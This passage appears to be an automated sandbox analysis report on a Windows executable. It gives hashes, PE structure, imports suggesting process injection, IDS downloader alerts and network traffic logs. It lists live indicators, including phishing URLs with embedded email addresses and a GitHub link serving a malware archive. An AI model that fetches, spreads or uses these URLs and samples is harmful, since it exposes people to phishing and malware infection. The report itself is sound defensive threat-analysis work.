	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://duskrise.shop/	Get hash	malicious	Unknown	Browse	104.16.123.96
	test.hta	Get hash	malicious	Vidar	Browse	172.64.41.3
	4O724aDidp.exe	Get hash	malicious	DCRat	Browse	104.21.12.142
	wemustlearnfromthegreatnewswithgoodcoveragegettingthings.hta	Get hash	malicious	BlackHacker JS Obfuscator, Cobalt Strike	Browse	104.21.16.1
	tgeh_1.svg	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
CLOUDFLARENETUS	20252201_pdf.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.nhtfxq.blogspot.ie/	Get hash	malicious	Phisher	Browse	172.67.222.219
	3y6C4vm3To.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://duskrise.shop/	Get hash	malicious	Unknown	Browse	104.16.123.96
	test.hta	Get hash	malicious	Vidar	Browse	172.64.41.3
	4O724aDidp.exe	Get hash	malicious	DCRat	Browse	104.21.12.142
	wemustlearnfromthegreatnewswithgoodcoveragegettingthings.hta	Get hash	malicious	BlackHacker JS Obfuscator, Cobalt Strike	Browse	104.21.16.1
	tgeh_1.svg	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	test.hta	Get hash	malicious	Vidar	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	CV Applicant 4890-17173.img	Get hash	malicious	Unknown	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	doc01210250121.js	Get hash	malicious	FormBook	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	ADtours0121025.Vbs.vbs	Get hash	malicious	FormBook	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	11001_10032.jse	Get hash	malicious	FormBook	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	jmkykhjksefkyt.exe	Get hash	malicious	Vidar	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	Setup (1).exe	Get hash	malicious	Unknown	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	https://github.com/Tarun999000/dfds/releases/download/fvxc/Order.receipt.845755-800.zip	Get hash	malicious	PureCrypter, AsyncRAT, Meduza Stealer	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	lambo.dll	Get hash	malicious	Unknown	Browse	104.21.64.1 34.160.111.145 172.67.68.240
	lambo.dll	Get hash	malicious	Unknown	Browse	104.21.64.1 34.160.111.145 172.67.68.240

Process:	C:\Users\user\Desktop\jhdfer3s_jh3de.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	2.8553885422075336
Encrypted:	false
SSDEEP:	3:fuMEc:23c
MD5:	99C7886BEA2DE7A0101C2650904125B2
SHA1:	923B92CB8983479444E728E099B85F84A8DC1358
SHA-256:	FFF62C3400A9C4F4618583FD90966E4E5B1122239157CAA576BFD6A1FA71204D
SHA-512:	7FB99EB3F5DF99B330325BB84C3676ABFD4BA02A2F37C596FDBD717FEEEA84887522E4957D57FD2C77A6A73C56656D1B8A8D17BB28CE158CD474ECE6E71B5565
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	8.46.123.189

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.7617444964111115
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	jhdfer3s_jh3de.exe
File size:	585'728 bytes
MD5:	446fee24759b2800c4ee7851930f07aa
SHA1:	11378467db1872cb74b03738a7dc65abf1cc9459
SHA256:	c12deb8079c75ef4b96f4af778fbb811a5c766f0560d57d63d6772fbe76b6b33
SHA512:	8e7af46992d63b4cabbd7e5c7d438fa17a488e2240d817be94a5181cdd9aa4bb52f245840f812eb23687f69ef5a190a62a64dcb69084963dfb213bc0c9bbcdaf
SSDEEP:	12288:WMelabCvvFcrubY4hBdANVwb6zNC9DADTDB7FD:W7labCv28YKUVwPOD9F
TLSH:	88C4CF01EE17C4FAED6700B8506FA32FE63219244720CAE7CFD05D56F5AABE169314A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................8.....Q.......Q.......Q.......Q.......2...........G...................Rich............................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x435b12
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x678E353B [Mon Jan 20 11:36:27 2025 UTC]
TLS Callbacks:	0x42a000
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	e8d64a8998e50d0f298558f80fef94e1

Entrypoint Preview

Instruction
call 00007FE4484FA50Ch
jmp 00007FE4484FA049h
int3
int3
int3
int3
push ebx
push esi
mov eax, dword ptr [esp+18h]
or eax, eax
jne 00007FE4484FA1EAh
mov ecx, dword ptr [esp+14h]
mov eax, dword ptr [esp+10h]
xor edx, edx
div ecx
mov ebx, eax
mov eax, dword ptr [esp+0Ch]
div ecx
mov edx, ebx
jmp 00007FE4484FA213h
mov ecx, eax
mov ebx, dword ptr [esp+14h]
mov edx, dword ptr [esp+10h]
mov eax, dword ptr [esp+0Ch]
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jne 00007FE4484FA1C6h
div ebx
mov esi, eax
mul dword ptr [esp+18h]
mov ecx, eax
mov eax, dword ptr [esp+14h]
mul esi
add edx, ecx
jc 00007FE4484FA1E0h
cmp edx, dword ptr [esp+10h]
jnbe 00007FE4484FA1DAh
jc 00007FE4484FA1D9h
cmp eax, dword ptr [esp+0Ch]
jbe 00007FE4484FA1D3h
dec esi
xor edx, edx
mov eax, esi
pop esi
pop ebx
retn 0010h
push ebp
mov ebp, esp
test byte ptr [ebp+08h], 00000001h
push esi
mov esi, ecx
mov dword ptr [esi], 0048BC70h
je 00007FE4484FA1DCh
push 0000000Ch
push esi
call 00007FE4484FA7FAh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FE4484FA1EBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FE4484FA1DCh

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8da1c	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x90000	0x1b20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8bd40	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8bdc0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8bc80	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x38000	0x16c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x36876	0x36a00	474a5b1cc8c6e2b652cff13ab1a18038	False	0.4363379576659039	data	6.111869830312897	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x38000	0x56370	0x56400	a239b26647b7339ff954103c94598364	False	0.7182065217391305	data	6.203970863719999	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x8f000	0x4cc	0x200	19105b211abb2af27ac74685d6dc572e	False	0.173828125	data	1.288496708765229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x90000	0x1b20	0x1c00	f163e58231bf37d7fcac1ac25093c088	False	0.7869698660714286	data	6.556110791500844	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressAll, WakeByAddressSingle
kernel32.dll	InitializeSListHead, GetStdHandle, GetCurrentProcessId, TerminateProcess, HeapFree, HeapReAlloc, WaitForSingleObjectEx, LoadLibraryA, lstrlenW, CreateMutexA, GetProcessHeap, HeapAlloc, GetCurrentThread, IsDebuggerPresent, GetCurrentThreadId, SetThreadStackGuarantee, GetConsoleMode, AddVectoredExceptionHandler, GetEnvironmentVariableW, GetModuleHandleW, MultiByteToWideChar, WriteConsoleW, WideCharToMultiByte, GetModuleHandleA, GetCurrentDirectoryW, SetLastError, ReleaseMutex, GetProcAddress, RtlCaptureContext, GetCurrentProcess, QueryPerformanceCounter, GetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, CloseHandle, FreeConsole, GetSystemTimeAsFileTime, WaitForSingleObject, IsProcessorFeaturePresent
ntdll.dll	NtAllocateVirtualMemory, NtTestAlert, NtWriteVirtualMemory, NtQueueApcThread, RtlNtStatusToDosError, NtWriteFile
VCRUNTIME140.dll	memmove, memset, memcmp, _CxxThrowException, __CxxFrameHandler3, _except_handler4_common, __current_exception_context, __current_exception, memcpy
api-ms-win-crt-runtime-l1-1-0.dll	_configure_narrow_argv, _initialize_narrow_environment, _get_initial_narrow_environment, _initterm, _initterm_e, exit, _exit, __p___argc, __p___argv, _cexit, _c_exit, _register_thread_local_exe_atexit_callback, _seh_filter_exe, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _controlfp_s, terminate, _set_app_type
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-stdio-l1-1-0.dll	__p__commode, _set_fmode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale
api-ms-win-crt-heap-l1-1-0.dll	_set_new_mode, free

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-22T08:35:01.170395+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	34.160.111.145	443	TCP
2025-01-22T08:35:01.857533+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49732	172.67.68.240	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 08:35:00.480328083 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:00.480366945 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:00.480442047 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:00.496207952 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:00.496227026 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:00.975073099 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:00.975172043 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.040747881 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.040766954 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.041188002 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.041249037 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.044939995 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.087351084 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.170562983 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.170644999 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.170681000 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.170733929 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.170747995 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.170784950 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.170825005 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.170872927 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.172223091 CET	49731	443	192.168.2.4	34.160.111.145
Jan 22, 2025 08:35:01.172257900 CET	443	49731	34.160.111.145	192.168.2.4
Jan 22, 2025 08:35:01.185992956 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.186021090 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.186078072 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.186342955 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.186352015 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.654488087 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.654572964 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.659775972 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.659787893 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.660470963 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.660536051 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.660937071 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.703366995 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.857319117 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.857395887 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:01.857403040 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.857445955 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.870347023 CET	49732	443	192.168.2.4	172.67.68.240
Jan 22, 2025 08:35:01.870368958 CET	443	49732	172.67.68.240	192.168.2.4
Jan 22, 2025 08:35:02.043734074 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.043829918 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.044063091 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.044080019 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.044100046 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.044152021 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.044475079 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.044485092 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.044526100 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.044570923 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.569757938 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.570076942 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.574201107 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.574229002 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.574568033 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.574733019 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.574995041 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.575948000 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.576018095 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.579000950 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.579010010 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.579519987 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.579574108 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.579834938 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.615333080 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.623336077 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.884099960 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.884172916 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.884180069 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.884222984 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.885138988 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.885155916 CET	443	49733	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.885169983 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.885211945 CET	49733	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902419090 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.902436972 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902460098 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.902493954 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902523994 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.902537107 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902564049 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902571917 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.902609110 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902653933 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.902702093 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902787924 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.902801991 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:02.904861927 CET	49734	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:02.904876947 CET	443	49734	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:03.367660999 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:03.367790937 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:03.368598938 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:03.368628025 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:03.370686054 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:03.370698929 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:03.694271088 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:03.694426060 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:03.694586039 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:03.694755077 CET	49735	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:03.694775105 CET	443	49735	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:06.696923971 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:06.696974993 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:06.697230101 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:06.697568893 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:06.697633028 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.159605980 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.160057068 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.179915905 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.179971933 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.180429935 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.180444002 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.478553057 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.478719950 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.478758097 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.478828907 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.479089975 CET	49736	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.479157925 CET	443	49736	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.915430069 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.915479898 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:07.915564060 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.915923119 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:07.915930986 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.394597054 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.394675970 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.395246983 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.395257950 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.395447016 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.395452976 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.723207951 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.723284006 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.723297119 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.723345041 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.723412037 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.723467112 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.723484993 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.723499060 CET	443	49737	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:08.723525047 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:08.723543882 CET	49737	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.493381023 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.493438959 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:10.493526936 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.493779898 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.493798018 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:10.972074032 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:10.972170115 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.973371029 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.973397970 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:10.973686934 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:10.973697901 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:11.289766073 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:11.289910078 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:11.289912939 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:11.289985895 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:11.290195942 CET	49738	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:11.290239096 CET	443	49738	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:13.728130102 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:13.728193045 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:13.728497028 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:13.728849888 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:13.728863955 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.198169947 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.198241949 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.233692884 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.233706951 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.233900070 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.233907938 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.307758093 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.307853937 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.307957888 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.308372021 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.308410883 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.543601036 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.543668985 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.543689013 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.543736935 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.543766022 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.543819904 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.543858051 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.543889999 CET	443	49739	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.543900967 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.543934107 CET	49739	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.780596018 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.780797005 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.781183958 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.781213045 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:14.781559944 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:14.781573057 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:15.111073017 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:15.111222982 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:15.111278057 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:15.111381054 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:15.111836910 CET	49740	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:15.111879110 CET	443	49740	104.21.64.1	192.168.2.4
Jan 22, 2025 08:35:18.149947882 CET	49745	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:35:18.150044918 CET	443	49745	104.21.64.1	192.168.2.4
